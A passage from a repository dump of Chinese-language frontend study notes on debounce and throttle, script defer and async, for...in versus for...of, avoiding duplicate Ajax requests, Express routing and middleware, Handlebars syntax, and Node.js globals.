61 |         // 当上一次执行的时间与当前的时间差大于设置的执行间隔时长的话，就主动执行一次
62 |         if(now - previous > time){
63 |             clearTimeout(timer);
64 |             fn();
65 |             previous = now; // 执行函数后，马上记录当前时间
66 |         }else{
67 |             clearTimeout(timer);
68 |             timer = setTimeout(function(){
69 |                 fn();
70 |             }, wait);
71 |         }
72 |     }
73 | }
74 | function _log(){
75 |     console.log(1)
76 | }
77 | window.onscroll = _debounce(_log, 500, 2000)
78 | ```
79 | 
80 | ## 防抖和节流区别
81 | 
82 | **函数防抖**：如果有人进电梯（触发事件），那电梯将在10秒钟后出发（执行事件监听器），这时如果又有人进电梯了（在10秒内再次触发该事件），我们又得等10秒再出发（重新计时）。
83 | 
84 | **函数节流**：就像公交车，每20分钟（固定的时间间隔）发一班车，不管前方多少人在等车。
85 | 
86 | Strong 版的防抖和节流函数可参考 [lodash](https://github.com/lodash/lodash)
87 | 
88 | See Also:  
89 | [函数节流与函数防抖](https://segmentfault.com/a/1190000008768202)  
90 | [JavaScript 函数节流和函数去抖应用场景辨析](https://github.com/hanzichi/underscore-analysis/issues/20)  
91 | [JavaScript专题之跟着underscore学防抖](https://github.com/mqyqingfeng/Blog/issues/22)  
92 | [JavaScript专题之跟着underscore学节流](https://github.com/mqyqingfeng/Blog/issues/26)  
93 | 


--------------------------------------------------------------------------------
/JavaScript/Docs/deferAsync.md:
--------------------------------------------------------------------------------
 1 | # defer 和 async 的区别
 2 | 
 3 | - `<script src="script.js"></script>`
 4 | 
 5 | 没有 defer 或 async，浏览器会立即加载并执行指定的脚本，“立即”指的是在渲染该 script 标签之下的文档元素之前，也就是说不等待后续载入的文档元素，读到就加载并执行。
 6 | 
 7 | - `<script async src="script.js"></script>`
 8 | 
 9 | 有 async，加载和渲染后续文档元素的过程将和 script.js 的加载与执行并行进行（异步）。
10 | 
11 | - `<script defer src="myscript.js"></script>`
12 | 
13 | 有 defer，加载后续文档元素的过程将和 script.js 的加载并行进行（异步），但是 script.js 的执行要在所有元素解析完成之后，DOMContentLoaded 事件触发之前完成。
14 | 
15 | 下图告诉我们以下几个要点：
16 | 
17 | - defer 和 async 在网络读取（下载）这块儿是一样的，都是异步的（相较于 HTML 解析）
18 | - 它俩的差别在于脚本下载完之后何时执行，显然 defer 是最接近我们对于应用脚本加载和执行的要求的
19 | - 关于 defer，此图未尽之处在于它是按照加载顺序执行脚本的，这一点要善加利用
20 | - async 则是一个乱序执行的主，反正对它来说脚本的加载和执行是紧紧挨着的，所以不管你声明的顺序如何，只要它加载完了就会立刻执行
21 | - 仔细想想，async 对于应用脚本的用处不大，因为它完全不考虑依赖（哪怕是最低级的顺序执行），不过它对于那些可以不依赖任何脚本或不被任何脚本依赖的脚本来说却是非常合适的，最典型的例子：Google Analytics
22 | 
23 | ![图片](../Images/deferAsync.png)
24 | 


--------------------------------------------------------------------------------
/JavaScript/Docs/forInOf.md:
--------------------------------------------------------------------------------
 1 | # for...in 和 for...of 区别
 2 | 
 3 | ## for...in
 4 | 
 5 | for...in 语句以任意顺序遍历一个对象的可枚举属性。  
 6 | for...in 遍历对象本身的所有可枚举属性，以及对象从其构造函数原型中继承的属性。
 7 | 
 8 | ```js
 9 | for (variable in object) {...}
10 | ```
11 | - `variable` 在每次迭代时，将不同的属性名分配给变量。
12 | - `object` 被迭代枚举其属性的对象。
13 | 
14 | 只遍历自身的可枚举属性，可以使用 hasOwnProperty
15 | ```js
16 | for (var prop in obj) {
17 |   if (obj.hasOwnProperty(prop)) {
18 |     console.log(`obj.${prop} = ${obj[prop]}`);
19 |   } 
20 | }
21 | ```
22 | 
23 | ## for...of
24 | 
25 | for...of 语句在可迭代对象（包括 Array，Map，Set，String，TypedArray，arguments 对象等等）上创建一个迭代循环，调用自定义迭代钩子，并为每个不同属性的值执行语句。  
26 | 对于for...of的循环，可以由break, throw 或return终止(使用return报错？)。  
27 | 
28 | ```js
29 | for (variable of iterable) {
30 |     //statements
31 | }
32 | ```
33 | 
34 | - `variable` 在每次迭代中，将不同属性的值分配给变量。
35 | - `iterable` 被迭代枚举其属性的对象。
36 | 
37 | ```js
38 | let iterable = [10, 20, 30];
39 | 
40 | for (const value of iterable) {
41 |   console.log(value);
42 | }
43 | // 10
44 | // 20
45 | // 30
46 | ```
47 | 
48 | ## for...of 与 for...in 区别
49 | 
50 | - for...in 语句以原始插入顺序迭代对象的可枚举属性。
51 | - for...of 语句遍历可迭代对象定义要迭代的数据。
52 | 
53 | 区别示例：
54 | ```js
55 | Object.prototype.objCustom = function() {}; 
56 | Array.prototype.arrCustom = function() {};
57 | 
58 | let iterable = [3, 5, 7];
59 | iterable.foo = 'hello';
60 | 
61 | for (let i in iterable) {
62 |   console.log(i); // 0, 1, 2, "foo", "arrCustom", "objCustom"
63 | }
64 | 
65 | for (let i in iterable) {
66 |   if (iterable.hasOwnProperty(i)) {
67 |     console.log(i); // 0, 1, 2, "foo"
68 |   }
69 | }
70 | 
71 | for (let i of iterable) {
72 |   console.log(i); // 3, 5, 7
73 | }
74 | ```
75 | 


--------------------------------------------------------------------------------
/JavaScript/Docs/preventRepeatAjax.md:
--------------------------------------------------------------------------------
 1 | # 如何防止重复发送 Ajax 请求
 2 | 
 3 | 不推荐用外部变量锁定或修改按钮状态的方式，因为那样比较难：
 4 | - 要考虑并理解 success, complete, error, timeout 这些事件的区别，并注册正确的事件，一旦失误，功能将不再可用；
 5 | - 不可避免地比普通流程要要多注册一个 complete 事件；
 6 | - 恢复状态的代码很容易和不相干的代码混合在一起；
 7 | 
 8 | 我推荐用主动查询状态的方式（A、B，jQuery 为例）或工具函数的方式（C、D）来去除重复操作，并提供一些例子作为参考：
 9 | 
10 | ## A. 独占型提交
11 | 
12 | 只允许同时存在一次提交操作，并且直到本次提交完成才能进行下一次提交。
13 | 
14 | ```js
15 | module.submit = function() {
16 |   if (this.promise_.state() === 'pending') {
17 |     return
18 |   }
19 |   return this.promise_ = $.post('/api/save')
20 | }
21 | ```
22 | 
23 | ## B. 贪婪型提交
24 | 
25 | 无限制的提交，但是以最后一次操作为准；亦即需要尽快给出最后一次操作的反馈，而前面的操作结果并不重要。
26 | 
27 | ```js
28 | module.submit = function() {
29 |   if (this.promise_.state() === 'pending') {
30 |     this.promise_.abort()
31 |   }
32 |   // todo
33 | }
34 | ```
35 | 
36 | ## C. 节制型提交
37 | 
38 | 无论提交如何频繁，任意两次有效提交的间隔时间必定会大于或等于某一时间间隔；即以一定频率提交。
39 | 
40 | 
41 | ```js
42 | module.submit = throttle(150, function() {
43 |   // todo
44 | })
45 | ```
46 | 
47 | 如果客户发送每隔100毫秒发送过来10次请求，此模块将只接收其中6个（每个在时间线上距离为150毫秒）进行处理。这也是解决查询冲突的一种可选手段，比如以知乎草稿举例，仔细观察可以发现：编辑器的 blur 事件会立即触发保存；保存按钮的 click 事件也会立即触发保存；但是存在一种情况会使这两个事件在数毫秒内连续发生——当焦点在编辑器内部，并且直接去点击保存按钮——这时用 throttle 来处理是可行的。另外还有一些事件处理会很频繁地使用 throttle，如： resize、scroll、mousemove。
48 | 
49 | ## D. 懒惰型提交
50 | 
51 | 任意两次提交的间隔时间，必须大于一个指定时间，才会促成有效提交；即不给休息不干活。
52 | 
53 | ```js
54 | module.submit = debounce(150, function() {
55 |   // todo
56 | })
57 | ```
58 | 
59 | 还是以知乎草稿举例，当在编辑器内按下 ctrl + s 时，可以手动保存草稿；如果你连按，程序会表示不理解为什么你要连按，只有等你放弃连按，它才会继续。
60 | 
61 | ## 其他经验
62 | 
63 | 1.所有的Ajax请求都是异步的,我的封装中做一个100毫秒的setTimeout延时.这样就可以有效的解决用户快速重复点击的问题.　足够快的时候,前一请求并没有真正的发出来.就被clearTimeout清除掉了. abort掉Ajax的请求也会有服务端响应,需要消耗资源.
64 | 
65 | 2.如果用户的操作不并足够快.比如点了保存按钮,在服务器没有返回成功的时候,再次点了保存按钮.(事实上两次请求是一样的.而我们更希望第一次的请求是有效的,第二次的可以不做处理).在封装中,我们检查传入ajax的请url及参数是否一致,如果一致.则第二次的AJAX并不发出.
66 | 
67 | 3.最后一种情况,两次相间的请求是不同的请求,比如楼上说快速切换Tab的例子.无法,只能abort掉前一个Ajax请求了.
68 | 
69 | See Also:
70 | 
71 | [怎样防止重复发送 Ajax 请求？](https://www.zhihu.com/question/19805411)  
72 | 
73 | 


--------------------------------------------------------------------------------
/JavaScript/Images/deferAsync.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/JavaScript/Images/deferAsync.png


--------------------------------------------------------------------------------
/JavaScript/README.md:
--------------------------------------------------------------------------------
 1 | # JavaScript
 2 | 
 3 | - [for...in 和 for...of 区别](./Docs/forInOf.md)
 4 | - [defer 和 async 的区别](./Docs/deferAsync.md)
 5 | - [Ajax 的实现和取消请求](./Docs/Ajax.md)
 6 | - [如何防止重复发送 Ajax 请求](./Docs/preventRepeatAjax.md)
 7 | - [函数防抖和函数节流](./Docs/debounceAndThrottle.md.md)
 8 | - 箭头函数和普通函数的区别
 9 | - Array 常用方法ES6, 7, 8
10 | - 原型与原型链
11 | - [Node 多线程](./Docs/NodeMutiThread.md)
12 | 


--------------------------------------------------------------------------------
/Mobile/README.md:
--------------------------------------------------------------------------------
1 | # 移动端知识点
2 | 
3 | 


--------------------------------------------------------------------------------
/Node/Express.md:
--------------------------------------------------------------------------------
  1 | # Express 官网笔记整理
  2 | 
  3 | [[express 官网]](http://www.expressjs.com.cn/)
  4 | 
  5 | * [express 应用生成器](express-应用生成器)
  6 | * [静态文件托管](#静态文件托管)
  7 | * [路由](#路由)
  8 |     - [路由定义](#路由定义)
  9 |     - [路由路径](#路由路径)
 10 |     - [路由句柄](#路由句柄)
 11 |     - [请求方法](#请求方法)
 12 |     - [响应方法](#响应方法)
 13 |     - [app.route()](#approute)
 14 |     - [express.Router](#expressrouter)
 15 | * [中间件]()
 16 |     - [使用中间件](#使用中间件)
 17 |     - [应用级中间件](#应用级中间件)
 18 |     - [路由级中间件](#路由级中间件)
 19 |     - [错误处理中间件](#错误处理中间件)
 20 |     - [内置中间件](#内置中间件)
 21 |     - [第三方中间件](#第三方中间件)
 22 | * [模板引擎](#模板引擎)
 23 |     - [使用Jade](#使用jade)
 24 |     - [使用Handlebars](#使用handlebars)
 25 | * [调试 Express](调试-express)
 26 |     - [命令](#命令)
 27 | 
 28 | # express 应用生成器
 29 | 
 30 | ```bash
 31 | npm install express-generator -g
 32 | ```
 33 | 
 34 | 生成的目录结构如下：
 35 | ```bash
 36 | .
 37 | ├── app.js
 38 | ├── bin
 39 | │   └── www
 40 | ├── package.json
 41 | ├── public
 42 | │   ├── images
 43 | │   ├── javascripts
 44 | │   └── stylesheets
 45 | │       └── style.css
 46 | ├── routes
 47 | │   ├── index.js
 48 | │   └── users.js
 49 | └── views
 50 |     ├── error.jade
 51 |     ├── index.jade
 52 |     └── layout.jade
 53 | ```
 54 | 
 55 | # 静态文件托管
 56 | 
 57 | > 通过 Express 内置的 express.static 可以方便地托管静态文件。
 58 | 
 59 | 示例：
 60 | ```js
 61 | app.use(express.static('public'));
 62 | app.use('/static', express.static('public')); // 使用虚拟目录 static
 63 | ```
 64 | 
 65 | 访问地址：
 66 | ```bash
 67 | http://localhost:3000/images/kitten.jpg
 68 | http://localhost:3000/static/images/kitten.jpg
 69 | ```
 70 | **注意：** 所有文件的路径都是相对于存放目录的，因此，存放静态文件的目录名不会出现在 URL 中。
 71 | 
 72 | # 路由
 73 | 
 74 | ## 路由定义
 75 | 
 76 | > 路由是指如何定义应用的端点（URIs）以及如何响应客户端的请求。
 77 | 
 78 | ```bash
 79 | var express = require('express');
 80 | var app = express();
 81 | app.METHOD(path, [callback...], callback)
 82 | ```
 83 | 释义：
 84 | 
 85 |     app 是一个 express 实例；
 86 |     METHOD 是某个 HTTP 请求方式中的一个；
 87 |     path 是服务器端的路径；
 88 |     callback 是当路由匹配到时需要执行的函数。
 89 | 
 90 | 示例：
 91 | ```js
 92 | // 对网站首页的访问返回 "Hello World!" 字样
 93 | app.get('/', function (req, res) {
 94 |   res.send('Hello World!');
 95 | });
 96 | 
 97 | // 网站首页接受 POST 请求
 98 | app.post('/', function (req, res) {
 99 |   res.send('Got a POST request');
100 | });
101 | 
102 | // /user 节点接受 PUT 请求
103 | app.put('/user', function (req, res) {
104 |   res.send('Got a PUT request at /user');
105 | });
106 | 
107 | // /user 节点接受 DELETE 请求
108 | app.delete('/user', function (req, res) {
109 |   res.send('Got a DELETE request at /user');
110 | });
111 | ```
112 | 
113 | ## 路由路径
114 | 
115 | > 路由路径和请求方法一起定义了请求的端点，它可以是字符串、字符串模式或者正则表达式。
116 | 
117 | 示例：
118 | ```js
119 | // 匹配 abcd、abxcd、abRABDOMcd、ab123cd等
120 | app.get('/ab*cd', function(req, res) {
121 |   res.send('ab*cd');
122 | });
123 | 
124 | // 匹配任何路径中含有 a 的路径：
125 | app.get(/a/, function(req, res) {
126 |   res.send('/a/');
127 | });
128 | 
129 | // 匹配 butterfly、dragonfly
130 | app.get(/.*fly$/, function(req, res) {
131 |   res.send('/.*fly$/');
132 | });
133 | ```
134 | 
135 | ## 路由句柄
136 | 
137 | > 可以为请求处理提供多个回调函数，其行为类似 中间件。唯一的区别是这些回调函数有可能调用 next('route') 方法而略过其他路由回调函数。
138 | 
139 | 使用多个回调函数处理路由（记得指定 next 对象）：
140 | ```js
141 | app.get('/example/b', function (req, res, next) {
142 |   console.log('response will be sent by the next function ...');
143 |   next();
144 | }, function (req, res) {
145 |   res.send('Hello from B!');
146 | });
147 | ```
148 | 
149 | 使用回调函数数组处理路由：
150 | ```js
151 | var cb0 = function (req, res, next) {
152 |   console.log('CB0');
153 |   next();
154 | }
155 | 
156 | var cb1 = function (req, res, next) {
157 |   console.log('CB1');
158 |   next();
159 | }
160 | 
161 | var cb2 = function (req, res) {
162 |   res.send('Hello from C!');
163 | }
164 | 
165 | app.get('/example/c', [cb0, cb1, cb2]);
166 | ```
167 | 
168 | ## 请求方法
169 | 
170 | > 下表中请求对象（req）的方法向服务器发送请求。
171 | 
172 | | 方法 | 描述 |
173 | | - | - |
174 | | req.body | 获取请求主体 |
175 | | req.cookies | 获取请求中携带的cookie |
176 | | req.originalUrl | 获取原始请求url |
177 | | req.params | 获取路由的parameters（/user/:name） |
178 | | req.query | 获取URL的查询参数串 |
179 | | req.path | 获取请求路径 |
180 | | req.protocol | 获取协议类型 |
181 | 
182 | ## 响应方法
183 | 
184 | > 下表中响应对象（res）的方法向客户端返回响应，终结请求响应的循环。如果在路由句柄中一个方法也不调用，来自客户端的请求会一直挂起。
185 | 
186 | | 方法 | 描述 |
187 | | - | - |
188 | | res.download() | 提示下载文件 |
189 | | res.end() | 终结响应处理流程。 |
190 | | res.json() | 发送一个 JSON 格式的响应。 |
191 | | res.jsonp()	| 发送一个支持 JSONP 的 JSON 格式的响应。 |
192 | | res.redirect() | 重定向请求。 |
193 | | res.render() | 渲染视图模板。 |
194 | | res.send() | 发送各种类型的响应。 |
195 | | res.sendFile | 以八位字节流的形式发送文件。 |
196 | | res.sendStatus() | 设置响应状态代码，并将其以字符串形式作为响应体的一部分发送。 |
197 | 
198 | ## app.route()
199 | 
200 | >  创建路由路径的链式路由句柄。
201 | 
202 | 示例：
203 | ```js
204 | app.route('/book')
205 |   .get(function(req, res) {
206 |     res.send('Get a random book');
207 |   })
208 |   .post(function(req, res) {
209 |     res.send('Add a book');
210 |   })
211 |   .put(function(req, res) {
212 |     res.send('Update the book');
213 |   });
214 | ```
215 | 
216 | ## express.Router
217 | 
218 | > 可使用 express.Router 类创建模块化、可挂载的路由句柄。Router 实例是一个完整的中间件和路由系统，因此常称其为一个 “mini-app”。
219 | 
220 | 在 app 目录下创建名为 birds.js 的文件，内容如下：
221 | ```js
222 | var express = require('express');
223 | var router = express.Router();
224 | 
225 | // 该路由使用的中间件
226 | router.use(function timeLog(req, res, next) {
227 |   console.log('Time: ', Date.now());
228 |   next();
229 | });
230 | // 定义网站主页的路由
231 | router.get('/', function(req, res) {
232 |   res.send('Birds home page');
233 | });
234 | // 定义 about 页面的路由
235 | router.get('/about', function(req, res) {
236 |   res.send('About birds');
237 | });
238 | 
239 | module.exports = router;
240 | ```
241 | 然后在应用中加载路由模块：
242 | ```js
243 | var birds = require('./birds');
244 | ...
245 | app.use('/birds', birds);
246 | ```
247 | 应用即可处理发自 /birds 和 /birds/about 的请求，并且调用为该路由指定的 timeLog 中间件。
248 | 
249 | # 中间件
250 | 
251 | ## 使用中间件
252 | 
253 | > Express 是一个自身功能极简，完全是由路由和中间件构成一个的 web 开发框架，从本质上来说，一个 Express 应用就是在调用各种中间件。
254 | 
255 | > 中间件（Middleware） 是一个函数，它可以访问请求对象（req）, 响应对象（res）, 和 web 应用中处于请求-响应循环流程中的中间件，一般被命名为 next 的变量。
256 | 
257 | 中间件的功能包括:
258 | 
259 |   -  执行任何代码
260 |   -  修改请求和相应对象
261 |   -  终结请求和响应循环
262 |   -  调用堆栈中下一个中间件
263 | 
264 | **Notice:**   
265 | 1、如果当前中间件没有终结请求-响应循环，则必须调用 next() 方法将控制权交给下一个中间件，否则请求就会挂起。  
266 | 2、如果需要在中间件栈中跳过剩余中间件，调用 next('route') 方法将控制权交给下一个路由。
267 | 
268 | ## 应用级中间件
269 | 
270 | > 应用级中间件绑定到 app 对象 使用 app.use() 和 app.METHOD()
271 | 
272 | 示例：
273 | ```js
274 | var app = express();
275 | 
276 | // 没有挂载路径的中间件，应用的每个请求都会执行该中间件
277 | app.use(function (req, res, next) {
278 |   console.log('Time:', Date.now());
279 |   next();
280 | });
281 | 
282 | // 挂载至 /user/:id 的中间件，任何指向 /user/:id 的请求都会执行它
283 | app.use('/user/:id', function (req, res, next) {
284 |   console.log('Request Type:', req.method);
285 |   next();
286 | });
287 | 
288 | // 路由和句柄函数(中间件系统)，处理指向 /user/:id 的 GET 请求
289 | app.get('/user/:id', function (req, res, next) {
290 |   res.send('USER');
291 | });
292 | ```
293 | 
294 | ## 路由级中间件
295 | 
296 | > 路由级中间件和应用级中间件一样，只是它绑定的对象为 express.Router()。
297 | 
298 | 示例：
299 | ```js
300 | var router = express.Router();
301 | 
302 | var app = express();
303 | var router = express.Router();
304 | 
305 | // 没有挂载路径的中间件，通过该路由的每个请求都会执行该中间件
306 | router.use(function (req, res, next) {
307 |   console.log('Time:', Date.now());
308 |   next();
309 | });
310 | 
311 | // 一个中间件栈，显示任何指向 /user/:id 的 HTTP 请求的信息
312 | router.use('/user/:id', function(req, res, next) {
313 |   console.log('Request URL:', req.originalUrl);
314 |   next();
315 | }, function (req, res, next) {
316 |   console.log('Request Type:', req.method);
317 |   next();
318 | });
319 | 
320 | // 一个中间件栈，处理指向 /user/:id 的 GET 请求
321 | router.get('/user/:id', function (req, res, next) {
322 |   // 如果 user id 为 0, 跳到下一个路由
323 |   if (req.params.id == 0) next('route');
324 |   // 负责将控制权交给栈中下一个中间件
325 |   else next(); //
326 | }, function (req, res, next) {
327 |   // 渲染常规页面
328 |   res.render('regular');
329 | });
330 | 
331 | // 处理 /user/:id， 渲染一个特殊页面
332 | router.get('/user/:id', function (req, res, next) {
333 |   console.log(req.params.id);
334 |   res.render('special');
335 | });
336 | 
337 | // 将路由挂载至应用
338 | app.use('/', router);
339 | ```
340 | 
341 | ## 错误处理中间件
342 | 
343 | > 错误处理中间件和其他中间件定义类似，只是要使用 4 个参数，其签名如下： (err, req, res, next)。
344 | 
345 | 示例：
346 | ```js
347 | app.use(function(err, req, res, next) {
348 |   console.error(err.stack);
349 |   res.status(500).send('Something broke!');
350 | });
351 | ```
352 | 
353 | ## 内置中间件
354 | 
355 | + express.static(root, [options])
356 | 
357 |   express.static 是 Express 唯一内置的中间件，负责在 Express 应用中提托管静态资源。
358 | 
359 | 示例：
360 | ```js
361 | app.use(express.static('public'));
362 | app.use(express.static('uploads'));
363 | app.use(express.static('files'));
364 | ```
365 | 
366 | ## 第三方中间件
367 | 
368 | > 安装所需功能的 node 模块，并在应用中加载，可以在应用级加载，也可以在路由级加载。
369 | 
370 | 示例：
371 | ```js
372 | var express = require('express');
373 | var app = express();
374 | var cookieParser = require('cookie-parser');
375 | 
376 | // 加载用于解析 cookie 的中间件
377 | app.use(cookieParser());
378 | ```
379 | 
380 | # 模板引擎
381 | 
382 | > 和 Express 兼容的模板引擎，比如 Jade，通过 res.render() 调用其导出方法 __express(filePath, options, callback) 渲染模板。有一些模板引擎不遵循这种约定，Consolidate.js 能将 Node 中所有流行的模板引擎映射为这种约定，这样就可以和 Express 无缝衔接。
383 | 
384 | ## 使用Jade
385 | 
386 | 设置如下：
387 | ```js
388 | app.set('views', './views') // 放模板文件的目录
389 | app.set('view engine', 'jade') // 模板引擎
390 | ```
391 | 
392 | ## 使用Handlebars
393 | 
394 | 设置如下：
395 | ```js
396 | var exphbs = require('express-handlebars');
397 | 
398 | app.set('views', path.join(__dirname, 'views'));
399 | app.engine('hbs', exphbs({
400 |   layoutsDir: 'express/views',
401 |   defaultLayout: 'layout',
402 |   extname: '.hbs'
403 | }));
404 | app.set('view engine', 'hbs');
405 | ```
406 | 
407 | # 调试 Express
408 | 
409 | > Express 内部使用 debug 模块记录路由匹配、使用到的中间件、应用模式以及请求-响应循环。
410 | 
411 | ## 命令
412 | ```bash
413 | $ DEBUG=express:* node index.js
414 | ```
415 | 
416 | ## Windows 命令
417 | ```bash
418 | > set DEBUG=express:* & node index.js
419 | ```
420 | 


--------------------------------------------------------------------------------
/Node/Handlebars.md:
--------------------------------------------------------------------------------
  1 | # Handlebars 常用语法
  2 | 
  3 | [[handlebars 官网]](https://handlebarsjs.com/)
  4 | 
  5 | * [简单示例](#简单示例)
  6 | * [HTML 转义](#html-转义)
  7 | * [块级表达式](#块级表达式)
  8 | * [模板内备注](#模板内备注)
  9 | * [Helpers](#helpers)
 10 | * [Partials](#partials)
 11 | * [Built-In Helpers](#built-in-helpers)
 12 | 
 13 | ### 简单示例
 14 | 
 15 | ```html
 16 | <div class="entry">
 17 |   <h1>{{title}}</h1>
 18 |   <h1>{{article.title}}</h1>
 19 |   <h1>{{article/title}}</h1>
 20 |   <div class="body">
 21 |     {{{body}}}
 22 |   </div>
 23 | </div>
 24 | ```
 25 | Note: If you don't want Handlebars to escape a value, use the "triple-stash", {{{
 26 | 
 27 | ### HTML 转义
 28 | 
 29 | template:
 30 | ```html
 31 | <div class="entry">
 32 |   <h1>{{title}}</h1>
 33 |   <div class="body">
 34 |     {{{body}}}
 35 |   </div>
 36 | </div>
 37 | ```
 38 | 
 39 | context:
 40 | ```json
 41 | {
 42 |   title: "All about <p> Tags",
 43 |   body: "<p>This is a post about &lt;p&gt; tags</p>"
 44 | }
 45 | ```
 46 | 
 47 | results:
 48 | ```html
 49 | <div class="entry">
 50 |   <h1>All About &lt;p&gt; Tags</h1>
 51 |   <div class="body">
 52 |     <p>This is a post about &lt;p&gt; tags</p>
 53 |   </div>
 54 | </div>
 55 | ```
 56 | 
 57 | escape parameters:
 58 | ```js
 59 | Handlebars.registerHelper('link', function(text, url) {
 60 |   text = Handlebars.Utils.escapeExpression(text);
 61 |   url  = Handlebars.Utils.escapeExpression(url);
 62 |   var result = '<a href="' + url + '">' + text + '</a>';
 63 |   return new Handlebars.SafeString(result);
 64 | });
 65 | ```
 66 | 
 67 | ### 块级表达式
 68 | 
 69 | context:
 70 | ```json
 71 | {
 72 |   people: [
 73 |     {firstName: "Yehuda", lastName: "Katz"},
 74 |     {firstName: "Carl", lastName: "Lerche"},
 75 |     {firstName: "Alan", lastName: "Johnson"}
 76 |   ]
 77 | }
 78 | ```
 79 | 
 80 | template:
 81 | ```html
 82 | {{#list people}}{{firstName}} {{lastName}}{{/list}}
 83 | ```
 84 | 
 85 | Create a helper named list to generate our HTML list
 86 | ```js
 87 | Handlebars.registerHelper('list', function(items, options) {
 88 |   var out = "<ul>";
 89 |   for(var i=0, l=items.length; i<l; i++) {
 90 |     out = out + "<li>" + options.fn(items[i]) + "</li>";
 91 |   }
 92 |   return out + "</ul>";
 93 | });
 94 | ```
 95 | 
 96 | ### 模板内备注
 97 | 
 98 | template:
 99 | ```html
100 | <div class="entry">
101 |   {{!-- only output author name if an author exists --}}
102 |   {{#if author}}
103 |     <h1>{{author.firstName}} {{author.lastName}}</h1>
104 |   {{/if}}
105 | </div>
106 | ```
107 | ```html
108 | <div class="entry">
109 |   {{! This comment will not be in the output }}
110 |   <!-- This comment will be in the output -->
111 | </div>
112 | ```
113 | 
114 | ### Helpers
115 | 
116 | Handlebars helpers can be accessed from any context in a template. You can register a helper with the Handlebars.registerHelper method.
117 | 
118 | template:
119 | ```html
120 | <div class="post">
121 |   <h1>By {{fullName author}}</h1>
122 |   <div class="body">{{body}}</div>
123 |   <h1>Comments</h1>
124 |   {{#each comments}}
125 |   <h2>By {{fullName author}}</h2>
126 |   <div class="body">{{body}}</div>
127 |   {{/each}}
128 | </div>
129 | ```
130 | 
131 | context and helpers:
132 | ```js
133 | var context = {
134 |   author: {firstName: "Alan", lastName: "Johnson"},
135 |   body: "I Love Handlebars",
136 |   comments: [{
137 |     author: {firstName: "Yehuda", lastName: "Katz"},
138 |     body: "Me too!"
139 |   }]
140 | };
141 | 
142 | Handlebars.registerHelper('fullName', function(person) {
143 |   return person.firstName + " " + person.lastName;
144 | });
145 | ```
146 | 
147 | ### Partials
148 | 
149 | Handlebars partials allow for code reuse by creating shared templates.
150 | 
151 | template:
152 | ```html
153 | <div class="post">
154 |   {{> userMessage tagName="h1" }}
155 |   <h1>Comments</h1>
156 |   {{#each comments}}
157 |     {{> userMessage tagName="h2" }}
158 |   {{/each}}
159 | </div>
160 | ```
161 | 
162 | using this partial and context:
163 | ```js
164 | Handlebars.registerPartial('userMessage',
165 |     '<{{tagName}}>By {{author.firstName}} {{author.lastName}}</{{tagName}}>'
166 |     + '<div class="body">{{body}}</div>');
167 | var context = {
168 |   author: {firstName: "Alan", lastName: "Johnson"},
169 |   body: "I Love Handlebars",
170 |   comments: [{
171 |     author: {firstName: "Yehuda", lastName: "Katz"},
172 |     body: "Me too!"
173 |   }]
174 | };
175 | ```
176 | 
177 | ### Built-In Helpers
178 | 
179 | > **if**: If its argument returns false, undefined, null, "", 0, or [], Handlebars will not render the block.
180 | 
181 | ```html
182 | <div class="entry">
183 |   {{#if author}}
184 |     <h1>{{firstName}} {{lastName}}</h1>
185 |   {{else}}
186 |     <h1>Unknown Author</h1>
187 |   {{/if}}
188 | </div>
189 | ```
190 | 
191 | > **Each**: You can iterate over a list using the built-in each helper.
192 | 
193 | ```html
194 | <ul class="people_list">
195 |   {{#each people}}
196 |     <li>{{this}}</li>
197 |   {{/each}}
198 | </ul>
199 | ```
200 | 
201 | You can optionally provide an {{else}} section which will display only when the list is empty.
202 | 
203 | ```html
204 | {{#each paragraphs}}
205 |   <p>{{this}}</p>
206 | {{else}}
207 |   <p class="empty">No content</p>
208 | {{/each}}
209 | ```
210 | 
211 | When looping through items in each, you can optionally reference the current loop index via {{@index}}
212 | 
213 | ```html
214 | {{#each array}}
215 |   {{@index}}: {{this}}
216 | {{/each}}
217 | ```
218 | 
219 | Additionally for object iteration, {{@key}} references the current key name
220 | 
221 | ```html
222 | {{#each object}}
223 |   {{@key}}: {{this}}
224 | {{/each}}
225 | ````
226 | > **with**
227 | 
228 | context:
229 | ```json
230 | {
231 |   title: "My first post!",
232 |   author: {
233 |     firstName: "Charles",
234 |     lastName: "Jolley"
235 |   }
236 | }
237 | ```
238 | 
239 | template:
240 | ```html
241 | <div class="entry">
242 |   <h1>{{title}}</h1>
243 |   {{#with author}}
244 |   <h2>By {{firstName}} {{lastName}}</h2>
245 |   {{/with}}
246 | </div>
247 | ```
248 | 
249 | define known references:
250 | 
251 | ```html
252 | <div class="entry">
253 |   <h1>{{title}}</h1>
254 |   {{#with author as |myAuthor|}}
255 |   <h2>By {{myAuthor.firstName}} {{myAuthor.lastName}}</h2>
256 |   {{/with}}
257 | </div>
258 | ```
259 | 


--------------------------------------------------------------------------------
/Node/NPM.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/Node/NPM.md


--------------------------------------------------------------------------------
/Node/Note/全局对象.md:
--------------------------------------------------------------------------------
 1 | # 全局对象
 2 | 
 3 | > Node.js 中全局对象是global，相对应客户端的 window 对象。
 4 | 
 5 | ## 全局对象与全局变量
 6 | 
 7 | >  __filename： 表示当前正在执行的脚步的文件名（绝对路径 + 文件名称）。  
 8 | >  __dirname：表示当前执行脚本所在的目录。  
 9 | >  setTimeout(cb, ms)  
10 | >  clearTimeout(t)  
11 | >  setInterval(cb, ms)  
12 | >  clearInterval(t)   
13 | >  console  
14 | >  process  
15 | 
16 | ## process
17 | ### process 属性
18 | 
19 | > process 是一个全局变量，即 global 对象的属性。
20 | 
21 | -  process.pid：当前进程的进程号
22 | -  process.version：Node的版本，比如v0.10.18
23 | -  process.platform：当前系统平台，比如Linux
24 | -  process.title：默认值为“node”，可以自定义该值
25 | -  process.argv：当前进程的命令行参数数组
26 | -  process.env：指向当前shell的环境变量，比如process.env.HOME
27 | -  process.execPath：运行当前进程的可执行文件的绝对路径
28 | -  process.stdout：指向标准输出
29 | -  process.stderr：指向标准错误
30 | -  process.stdin： 指向标准输入，用于监听用户的输入。
31 | 
32 | ### process 常用方法
33 | 
34 | | 方法 | 描述 |
35 | | :- | :- |
36 | | cwd() | 返回当前进程的工作目录。 |
37 | | exit([code]) | 使用指定的 code 结束进程。如果忽略，将会使用 code 0。 |
38 | | memoryUsage() | 返回一个对象，描述了 Node 进程所用的内存状况，单位为字节。 |
